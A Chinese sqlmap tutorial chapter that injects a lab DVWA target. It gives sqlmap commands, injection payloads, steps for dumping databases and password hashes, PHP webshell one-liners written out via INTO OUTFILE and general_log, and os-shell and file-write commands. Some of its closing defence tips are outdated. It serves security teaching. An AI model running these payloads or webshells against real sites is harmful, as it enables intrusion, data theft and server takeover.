sqlmap从入门到精通-第三章-3-2 使用sqlmap对某PHP网站进行注入实战
Tips: 关于这本书籍的每个章节,在B站上都有视频
https://www.bilibili.com/video/av840841045
3.2 使用sqlmap对某PHP网站进行注入实战
关于这以章节,作者已经将该章节的原文内容发布到互联网了,地址如下:
https://www.cnblogs.com/ichunqiu/archive/2018/05/31/9117308.html
https://bbs.ichunqiu.com/thread-41020-1-1.html?from=bkyl
3.2.1 将DVWA列为测试目标
在实际测试过程种可以通过人工或者手工,或者自动化扫描等方式进行获取可能存在漏洞的URL,若是SQL注入,那么就可以使用sqlmap进行测试验证
1. 判断是否存在sql注入
这里是使用sqlmap直接测试,也可以按照作者的思路,使用AWVS进行扫描,然后使用sqlmap进行验证
sqlmap.py -u "http://106.54.35.126/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "PHPSESSID=jb6bpa4m702l3h32hmh8pkavr7; security=low"
结果:
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=2' OR NOT 2639=2639#&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=2' AND (SELECT 6191 FROM(SELECT COUNT(*),CONCAT(0x716a767171,(SELECT (ELT(6191=6191,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HfbO&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2' AND (SELECT 2291 FROM (SELECT(SLEEP(5)))qOna)-- EQVi&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=2' UNION ALL SELECT CONCAT(0x716a767171,0x4663727664506c546f4b6e776264674f4d42464f55426a465a4e446d6957494d716e76527a486b72,0x717a767871),NULL#&Submit=Submit
---
[16:19:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
2. 获取目标站点当前数据库名称
sqlmap.py -u "http://106.54.35.126/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "PHPSESSID=jb6bpa4m702l3h32hmh8pkavr7; security=low" --current-db
结果:
current database: 'dvwa'
3. 获取目标站点当前的用户
sqlmap.py -u "http://106.54.35.126/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "PHPSESSID=jb6bpa4m702l3h32hmh8pkavr7; security=low" --current-user
结果:
current user: 'app@localhost'
4. 查看目标站点数据库的用户和密码
sqlmap.py -u "http://106.54.35.126/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "PHPSESSID=jb6bpa4m702l3h32hmh8pkavr7; security=low" --users --passwords
结果:
我这里的DVWA的环境用户降权了,读取不了密码,只能获取当前用户,所以就贴结果信息了
5. 破解并获取数据库名文密码
(1) 通过在线网站进行破解
一般情况下如果密码不复杂,sqlmap在获取的过程种就会使用自身默认的字典进行暴力破解,如果破解不出来,会给出hash然后让你通过其他方式破解,那么这个其他方式就通过一些在线md5相关网站进行破解,具体如下:
https://www.somd5.com/
https://www.cmd5.com/
https://www.xmd5.com/
https://pmd5.com/
还有很多在线破解md5值的网站,大家可以自己搜搜,当然这些网站不仅仅是破解md5,还破解很多其他的加密类型,另外再给大家介绍一种万能法破解md5,那就是直接把md5值放在Google上搜索,一般有的话,肯定就能搜索出来
(2) 通过sqlmap的--sql-shell直接查询数据库用户及密码
sqlmap.py -u "http://106.54.35.126/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "PHPSESSID=jb6bpa4m702l3h32hmh8pkavr7; security=low" --sql-shell
执行上面操作需要知道绝对路径,如果成功了,那么就可以像在本地一样执行sql查询语句获取账号和密码hash
(3) 使用masscan对服务器端口进行扫描
6. 一些常用而且是必须会用到的sqlmap注入常规操作
(1) 查看所有数据库
sqlmap.py -u url --dbs
(2) 查看某个数据库下所有表
sqlmap.py -u url -D databasename --table
(3) 获取列
sqlmap.py -u url -D mysql -T user --column
(4) 导出数据
sqlmap.py -u url -D mysql -T user --dump
(5) 数据库中表详细记录统计
sqlmap.py -u url -D mysql --count
(6) 通过sql-shell来执行查询命令
sqlmap.py -u url --sql-shell
7. PHP网站获取webshell
(1) 通过phpmyadmin登录执行导出获取
select '<?php @eval($_POST[fuck]);?>'INTO OUTFILE '/var/www/html/hackable/uploads/bmfx.php'
(2) general_log配置文件获取
show global variables like "%genera%";
set global general_log=off;
set global general_log='on';
SET global general_log_file='/var/www/html/hackable/uploads/bmfx.php';
SELECT '<?php assert($_POST["cmd"]);?>';
(3) sqlmap os-shell获取
sqlmap -u url --os-shell
以上都是建立在有比较高的权限的情况下,并且知道绝对路径
(4) 后台文件上传漏洞获取
(5) 文件包含获取
(6) sqlmap注入点写文件
sqlmap.py -u "http://106.54.35.126/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "PHPSESSID=jb6bpa4m702l3h32hmh8pkavr7; security=low" --file-write="C:\tools\sqlmap\bm.php" --file-dest="/var/www/html/hackable/uploads/bmfx.php"
(7) 通过sqlmap直接连接数据库写文件
sqlmap.py -d mysql://root:redhat@192.168.91.130:3306/dvwa --file-write="C:\tools\sqlmap\bm.php" --file-dest="/var/www/html/hackable/uploads/bmfx.php"
如果文件读取成功了,会下面类似的目录里面有文件生成
C:\Users\bmfxhehe\AppData\Local\sqlmap\output\106.54.35.126
8. SQL注入防御总结
渗透总结
(1) 本次渗透主要在于对mysql+php架构下sql注入点注入漏洞sqlmap的利用
(2) 利用sqlmap的文件读取和写入功能写入webshell
(3) 有些情况下即使存在漏洞,也可能无法获取webshell
PHP网站SQL注入防御
(1) 过滤一些常见的数据库操作关键字,例如对select ,insert,update,delete,and,*等或通过系统函数addslashes对内容进行过滤。
(2) php配置文件php.ini中register_globals=off;设置为关闭状态
(3) 对于sql语句加以封装,避免直接暴漏SQL语句
(4) 开启PHP安全模式safe_mode=on
(5) 打开magic_quotes_gpc来防止SQL注入,默认为关闭,开启后自动把用户提交sql查询语句进行转换把"'"转换成"\'"
(6) 控制错误信息输出,关闭错误信息提示,将错误信息写到系统日志。
(7) 网站安装WAF防护软件